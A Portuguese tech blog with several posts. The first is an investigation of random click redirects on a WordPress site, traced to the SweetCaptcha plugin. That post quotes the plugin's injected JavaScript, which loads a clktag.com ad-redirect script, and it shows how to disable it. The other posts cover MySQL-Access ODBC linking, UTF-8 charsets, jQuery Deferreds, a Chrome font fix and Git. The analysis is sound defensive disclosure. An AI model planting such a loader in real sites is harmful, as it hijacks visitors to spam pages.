nov 072015
 

Num dos sites mantidos pela Academia, ao se clicar um qualquer ponto da tela, seja em área sem link, seja em determinado posto, enfim, de forma absurdamente aleatória, é aberta nova página totalmente estranha à aplicação original.

Dentre as listadas:

http://lp.musicboxnewtab.com/?sysid=539&appid=118&subid=80817651661

O problema maior é que tal redirecionamento se dá também de forma aleatória, ou seja, as vezes ocorre, às vezes não. Aliás, ocorre esporadicamente. Navega-se pelo site, logo de início ou depois de muito tempo, lá está o redirecionamento. Por vezes, em muitas sessões, nem ocorre.

Tal aleatoriedade, de local clicado ou de momento de ocorrência dificulta muito encontrar a brecha.

Assim, vamos à longa análise:

Pelo descrito passamos a monitorar o evento “click”, até que disparasse o redirecionamento, chegamos então ao primeiro suspeito:

wp

Trata-se do script vindo do site clktag.com que, por sua vez, chama o servidor cdn1.srv.revdepo.com, trazendo aquele .js descrito na imagem. Arquivo bem grande para os padrões js e inteiro criptografado, o que faz a suspeita aumentar, dado que no wordpress os códigos são abertos.

Para completar: esse “revdepo.com” é um conhecido redirecionador para propagandas variadas (spam).

O segundo passo é encontrar onde este raio de clktag está sendo chamado.

Depois de algumas horas fuçando nos arquivos do wordpress, monitorando carregamentos, e outros procedimentos, encontramos o responsável:

wp2

O plugin SweetCaptcha faz dois carregamentos, o primeiro ok, é o do aplicativo mesmo.

Já o segundo, destacado na imagem, traz a inclusão do “clktag” no DOM (4ª linha):

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window.sweetcaptchaCSRF = 'eb02ed2cd9350cc7a588d6a375a339b0'; var mobile = typeof(window.orientation) != 'undefined' || navigator.userAgent.match(/iphone|ipod|blackberry|android|palm|windowss+ce|mobile|msie 8|msie 7|msie 6/i) || (navigator.userAgent.indexOf('Safari') > -1 && navigator.userAgent.indexOf("Chrome") == -1 && navigator.userAgent.indexOf('Windows') > -1);if (1 || typeof(sc_jQuery) === 'undefined') {
window.sweetcaptchaPluginVersion = "3.1.0";
document.write('<scr'+'ipt type="text/javascript" src="//www.sweetcaptcha.com/javascripts/sclytics.js">');
document.write('<scr'+'ipt type="text/javascript" src="//clktag.com/adServe/banners?tid=SWTMPOP&tagid=2" async="async">');
document.write('<img style="position: absolute;" src="//www.sweetcaptcha.com/api/v2/apps/csrfp/11323?t=1446929464093&amp;mobile='+(mobile ? '1' : '0')+'" alt="" width="1" height="1" />');};

Testamos a descoberta, desativando o pugin.

Problema sanado, sem mais redirecionamentos indevidos e sem mais problemas, somente fontes confiáveis e normais foram carregadas:

wp3

Testes por mais algumas horas, sem redirecionamentos.

Agora chegamos a duas possíveis conclusões:

1-O plugin SweetCaptcha tem alguma vulnerabilidade;

2-O redirecionamento aleatório faz parte do plugin.

Pois bem, o SweetCapctha, usado em alguns milhões de sites, incluídos wordpress, oferece uma maneira mais criativa e elegante de burlar o spam, provendo um captcha intuitivo e bem humorado, como no exemplo:

wp4

Assim, buscamos no site do desenvolvedor: www.sweetcaptcha.com

Leia o site e verá que promete afastar spammers, injeção de códigos maliciosos e todos os males que realmente buscamos evitar quando colocamos um captcha. Oferece o aplicativo gratuitamente e pede doação (qua a academia doou, diga-se de passagem) por achar a ideia excelente e o serviço ótimo.

wp5

Contactamos o suporte, explicando a situação, e nos foi respondido que o plugin não tem anúncios e não faz redirecionamentos.

Então é uma falha, correto?

Errado. Infelizmente errado. A equipe deste plugin usa de uma desonestidade brutal. E ao que tudo indica o trambique vem desde julho deste ano.

Um desabafo: Cobrem pelo serviço se for necessário, mas nunca, nunca traiam a confiança do usuário distribuindo spam e, para piorar, peçam doação para manter a bagaça gratuita. Ridícula a postura. Se fosse um serviço nacional juro que entraríamos na justiça para reaver a doação.

A solução: exterminar este maldito plugin. Uma excelente ideia, lançada à lama por algum imbecil.

Para finalizar: o script vem direto dos servidores do sweetcaptcha, assim não há como negar a intenção nefasta: foram avisados, basta atualizar o script que traz o spam. Não o fizeram, comprova a má intenção.

Mais detalhes no blog de segurança Sucuri:

https://blog.sucuri.net/portugues/2015/06/09/sweetcaptcha-utilizado-para-distribuir-adware.html

Por fim, o mais estranho: a safadeza não ocorre em todos os sites. Usamos aqui na academia e nenhum spam ou redirecionamento foi feito pelo plugin, seria em razão da doação? se for, não seria melhor cobrar logo?

Aqui vamos manter até para avaliar até quando vai.

É isso.

 

ATUALIZAÇÃO:

Caso queira continuar usando o aplicativo, como alguns clientes preferiram, comente a seguinte linha do código do plugin (arquivo sweetcaptcha.php):

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wp_enqueue_script('sweetcaptcha-csrf', 'https://'.SWEETCAPTCHA_SITE_URL.'/api/v2/apps/csrf/'.$app_id, array(), $ver, true);

Com isto, não teremos mais spam, ao menos até a próxima versão do plugin (estamos a usar a 3.1.0).

 

jul 012015
 

O problema:

Estamos a preparar um DataMining para um cliente, onde nenhum padrão está pré-estabelecido. Esta primeira análise costumamos realizar com o MS Access pela facilidade na criação de consultas e relacionamentos para, depois, definir os primeiros padrões encontrados.

Em regra criamos uma cópia dos Bancos de Dados principais do cliente, importamos no Access e trabalhados desconectados das bases em operação.

Porém, para este cliente, estamos em busca de novos padrões de acontecimentos imediatos, ou seja, precisamos acessar a base principal em tempo real.

A solução:

Vincular tabelas do MySQL no MS Access.

Como fazer:

Primeiro passo, no Access (usamos a versão 2002/XP):

Arquivo >> Obter dados externos >> Vincular tabelas.

Nos “tipos de arquivo” selecione “ODBC Databases()”, na tela seguinte “Fonte de dados de máquina”:

Capturar

Não há a opção de bancos de dados MySQL, logo, a solução é instalar um conector.

Baixeo MySQL ODBC Connector do site do MySQL, o link quando esta matéria foi escrita é: https://dev.mysql.com/downloads/connector/odbc/

Baixe de acordo com seu sistema operacional, instale-o.

sql

Em seguida, vá em (W7) Painel de controle >> ferramentas admnistrativas >> Fontes de dados (ODBC):

sql3

 

Crie uma nova fonte, escolha entre Unicode ou ANSI conforme sua preferência.

sql4

Preencha os dados do banco que pretende conectar (precisará criar uma conexão para cada banco de dados, se for usar mais de um).

sql5

 

Pronto, agora basta voltar ao Access e repetir os primeiros passos, a nova fonte de dados estará disponível.

sql6

É isso!

 

jan 232015
 

Excelente artigo sobre gestão do conhecimento, área que a informática tende a atuar no momento e ganhar ainda mais corpo em breve futuro.

Escrito por Annor da Silva Júnior, Caio Eduardo de Guido Polizel e Priscilla de Oliveira Martins da Silva, publicado na Revista Brasileira de Gestão de Negócios, em 2011, o artigo:

“Fatores Críticos de Sucesso para a Gestão do Conhecimento em uma Instituição de Educação Superior Privada” traz vários pontos de interesse para quem pretende atuar na área.

Leia o artigo.

 

nov 022014
 

Muito bem, direto ao problema:

Qual codificação de caracteres utilizar em seus aplicativos? Qual o Charset ideal?

Se usa algum framework, como Bootstrap e ou jQuery por exemplo, melhor usar UTF-8. Na Academia nosso padrão é UTF-8 sem BOM.

Porém, a maioria dos windows usa o padrão ISO 8859-1, causando os transtornos das imagens abaixo quando alguma de nossas configurações foi esquecida (em especial no Internet Explorer):

Capturar

Na imagem, a tela da mesma aplicação no Firefox é interpretada corretamente como UTF-8, O mesmo no Chrome, já no I.E…..aparece desconfigurado.

Cabe apontar que a página HTML informa corretamente a codificação:

html

Porém, nada feito! o I.E. Não reconhece….

E aqui mais uma dica, a declaração de charset deve estar dentre as primeiras no HEAD, na Academia por padrão usamos como a primeira, pois esta declaração deve estar dentre os primeiros 1024 bytes do arquivo, registrando a dica: Evite comentários demasiados no início do HTML, mais pode ser visto em: http://www.w3.org/International/questions/qa-html-encoding-declarations.en

A solução?

Usar um “hack” nos arquivos PHP, no início de cada arquivo PHP que retorna conteúdo utilizamos (também por padrão) a declaração:

header('Content-Type: text/html; charset=UTF-8');

Tal comando não necessária precisa estar no início do arquivo (o fazemos por questões de padronização).

E quanto ao UTF-8 com ou sem BOM?

O BOM, ou Byte Order Mark é um conjunto de caracteres enviados no início de cada arquivo codificado em UTF-8 com BOM. Tal conjunto tem utilidade no UTF-16 ou 32, sendo inútil no 8. Além de inútil ainda traz alguns problemas: com o BOM não é possível utilizar os comandos header do PHP, além de provocar retornos indevidos em aplicações AJAX, como na imagem abaixo (aliás, estes caracteres são o BOM…):

Byte Order Mark

 

Então, o resumo de como padronizamos cá na Academia, evitando muitos problemas:

  1. Todos os nossos editores de texto e IDE são configurados para adotar o UTF-8 sem BOM como padrão.
  2.  Todos os arquivos HTML tem a declaração de charset no início do Header, dentro do limite de 1024 bytes;
  3. Todos os arquivos PHP que retornam algum HTML tem a declaração  “header(…” no início do arquivo;
  4. Os bancos de dados são configurados como collation UTF-8 general_ci (no caso do MySQL).

Isto feito, raramente terá problemas com os malditos charset, principalmente no I.E..

É isso, até a próxima.

out 262014
 

O problema:

Temos uma aplicação com um form bastante complexo que, quando aberto para edição, preenche os dados via AJAX e, conforme for o resultado do AJAX e as permissões do usuários, ações possíveis são habilitadas.

O código usado (inicialmente):

$( document ).ready(function() {
 
	preenche_form();
	exibe_botoes();
	preenche_tema($('#acao_eixo'));
});

Porém, ocorre o seguinte: A função preenche_form(), que realiza a consulta via AJAX demora mais que as outras, assim, a função exibe_botoes() é executada antes do preenchimento do form, gerando um resultado indesejado pois, para habilitar os botões corretos, a exibe_form() depende do preenchimento da preenche_form().

Os botões a serem habilitados (um conjunto conforme o status preenchido no form pela função preenche_form()):

botoes

 

Num primeiro momento tentamos usar a função ‘when‘ do jQuery:

$( document ).ready(function() {
 
	$.when(preenche_form()).done(function(){exibe_botoes();});
 
         preenche_tema($('#acao_eixo'));
});

Porém, também não funcionou.

Resta então apresentar alguma teoria, estudar um pouco para compreender a solução:

jQuery e AJAX funcionam de forma assíncrona, ou seja, por óbvio, sem sincronia. É o que acontece no caso em comento, é chamada a função que preenche o formulário e, antes desta terminar, a aplicação já chama a segunda que habilita os botões, porém, esta segunda depende do resultado da primeira, assim, o negócio simplesmente não funciona, nenhum botão da aplicação é habilitado nunca, pois a segunda função não tem parâmetros para trabalhar.

Assim, é necessário alterar o comportamento padrão do jQuery, ou seja, torná-lo síncrono, com execução em sequência, aguardando o término da primeira função para só então executar a segunda.

E aqui mais um pouco de aprendizado:

O jQuery tem funções de categoria “Deferreds”, ou diferidas, adiadas. Mas o que isso significa na prática?

Quando uma função desse tipo é chamada, normalmente as de execução mais demorada, a função retorna uma “promise”, ou promessa, de que irá concluir em algum momento, porém, o programa não espera e, enquanto aguarda o “cumprimento da promessa” já vai chamando as funções seguintes. Tá aí a execução assíncrona.

Como exemplos de função “deferred” temos o $.ajax e $.animate.

As funções que criamos, como as do exemplo, em regra não são do tipo deferred, assim, usar when com estas funções, não vai dar resultado algum, vai continuar sendo executado “tudo junto”.

Aliás, a função when existe justamente para que possamos, conforme a necessidade de nossa aplicação, executar funções de forma encadeada, ou seja, assim que esta terminar, execute esta….

Com uma leve pincelada de compreensão de como funciona o trem, podemos concluir então que não tem jeito, certo?

Errado!

O jQuery oferece ferramentas para transformarmos qualquer função comum no tipo deferred.

Vamos a como fazer:

Na função preenche_form() incluímos as funções Deferred, promise e resolve:

function preenche_form()
{
     atrasa=new $.Deferred(); //avisa que é uma função do tipo diferido, mesmo que originalmente não fosse
 
     //seu código
 
     atrasa.resolve(); //avisa que a função terminou, coloque no ponto em que as ações terminam (pode ser usado mais de um...)
 
     //seu código
 
     return atrasa.promise(); //envia a promessa que vai terminar alguma hora
};

 

É isso, problema resolvido, em, breve um modelinho funcional.

Um pouco de história:

Outros meios de se fazer a mesma coisa é com callbacks, ou seja, encadear as funções de modo a executar uma por vez, comprometendo a performance. Outro método um pouco menos pior, era usar Timeouts nas funções, ou loops que eram executados enquanto a função não terminava. O when certamente é uma solução mais elegante.

 

 

out 252014
 

Muito bem, usamos o Chrome pelo seu excelente console para testes Javascript (acho mais fácil que o do FireBug).

Porém, de uns tempos para cá o Chrome, no Windows 7, para quem fontes da família Helvética instalada, não renderiza corretamente as páginas, exibindo aqueles caracteres estranhosos.

A solução oferecida: desinstalar as fontes, porém, elas são usadas por outras aplicações e, convenhamos, ter que desinstalar fontes por conta de falha do aplicativo? Melhor seria a Google corrigir logo. Enquanto não faz, as dicas:

Tem o problema quem: Tem fontes Helvética Instaladas (neue, sanskrit, a original…), usa Windows 7, tem o Chrome atualizado (parece que foi uma atualização em meados de Julho/2014 que causou a falha) e tenta acessar sites que usam a fonte Helvética (ou família) como padrão. O Chrome simplesmente não renderiza corretamente, independente da configuração de codificação (UTF-8 etc.).

Páginas como Facebook, Pinterest e até do próprio Google, que usam a fonte Helvética aparecem assim:

Pinterest

Pinterest

Facebook

Facebook

O Próprio Google...

O Próprio Google…

 

Para solucionar, instale o complemento StyleBot no Chrome (link para: https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha).

chrome4

 

Em seguida cole no aplicativo o arquivo CSS abaixo:

@font-face {
font-family: Helvetica;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue";
src: local('Arial');
}
@font-face {
font-family: 'Helvetica Neue Custom';
src: local('Arial');
}
@font-face {
font-family: Helvetica;
font-weight: bold;
font-weight: 700;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue";
font-weight: bold;
font-weight: 700;
src: local('Arial');
}
@font-face {
font-family: "Helvetica Neue Custom";
font-weight: bold;
font-weight: 700;
src: local('Arial');
}

Pronto, o Chrome agora, através do complemento, substituirá a família Helvética pela Arial e tudo volta ao normal.

 

A dica foi vista no vídeo do canal Ch-Ch-Check It, e pode ser conferido abaixo, se gostou não deixe de dar o “like” no vídeo do colega (em inglês):

 

 

É isso, até a próxima!

set 302014
 

logo@2x

Git é um cliente para controlador de versão (existem outros, como SVN – Subversion por exemplo).

A melhor explicação para inciantes pode ser vista no canal da Loiane Gronner:

É possível trabalhar localmente com o Git, ou seja, instalar um servidor local em sua máquina ou em sua rede. Aqui na Academia o Git é usado para controlar os projetos open source da academia que estão disponíveis no GitHub.

Então, usamos o Git em conjunto com o repositório GitHub que, grosso modo, é uma rede social para desenvolvedores. Para usar o Git e o GitHub, pode ser por linha de comando ou por interface gráfica. Usamos, na segunda opção, o GitHub for Windows.

search

Para aprender um pouco sobre GitHub:

Por fim, a dica:

Crie e compartilhe seus projetos no GitHub, além de organizar sua produção, ajudará e terá ajuda da comunidade. Para ti, certamente ter alguns bons códigos no GitHub serve como um excelente cartão de visitas!

É isso.